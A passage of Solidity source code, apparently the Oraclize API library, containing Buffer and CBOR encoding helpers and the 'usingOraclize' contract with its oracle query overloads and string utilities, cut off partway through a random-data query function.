copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
/**
* @dev Appends a byte array to the end of the buffer. Resizes if doing so
* would exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + buffer length + sizeof(buffer length)
dest := add(add(bufptr, buflen), 32)
// Update buffer length
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
// Update buffer length
mstore(bufptr, add(buflen, 1))
}
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length) + len
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
/*
End solidity-cborutils
*/
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof; // Silence compiler warnings
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
// the following variables can be relaxed
// check relaxed random contract under ethereum-examples repo
// for an idea on how to override and replace comit hash vars
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
